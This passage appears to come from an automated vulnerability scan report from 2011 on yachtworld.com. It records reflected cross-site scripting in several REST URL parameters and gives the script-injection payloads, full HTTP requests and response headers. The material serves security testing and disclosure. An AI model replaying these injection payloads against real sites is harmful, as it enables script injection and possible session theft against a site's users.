tin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:52 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 23:08:20 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:52 GMT Set-Cookie: VIEWED_BOATS_STORE=2141315%5B%25%5D32%27+Regulator+32cc%5B%25%5DUSD%26nbsp%3B94%2C995%5B%25%5DOrange+Beach%2C+AL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F4%2F1%2F3%2F2141315_8_mini.jpg%3F1281995277000%5B%25%5D%2Fboats%2F2004%2FRegulator-32cc-2141315%2FOrange-Beach%2FAL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd4f9"><script>alert(1)</script>91ca0df6288 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32fs-Center-Console-Loaded!-2255088/Fort-Lauderdalecd4f9"><script>alert(1)</script>91ca0df6288/FL/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:20 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 14:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:20 GMT Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb59c"><script>alert(1)</script>7529dd0e55 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32fs-Center-Console-Loaded!-2255088/Fort-Lauderdale/FLeb59c"><script>alert(1)</script>7529dd0e55/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:42 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 14:45:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:41 GMT Set-Cookie: VIEWED_BOATS_STORE=2255088%5B%25%5D32%27+Regulator+32FS+Center+Console+Loaded%21%5B%25%5DUSD%26nbsp%3B89%2C900%5B%25%5DFort+Lauderdale%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F5%2F0%2F2255088_1_mini.jpg%3F1250865908000%5B%25%5D%2Fboats%2F2004%2FRegulator-32FS-Center-Console-Loaded%2521-2255088%2FFort-Lauderdale%2FFL%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1d3f"><script>alert(1)</script>4f5ae1f7ad8 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32fs-Center-Console-Loaded!-2255088/Fort-Lauderdale/FL/United-Statesc1d3f"><script>alert(1)</script>4f5ae1f7ad8 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 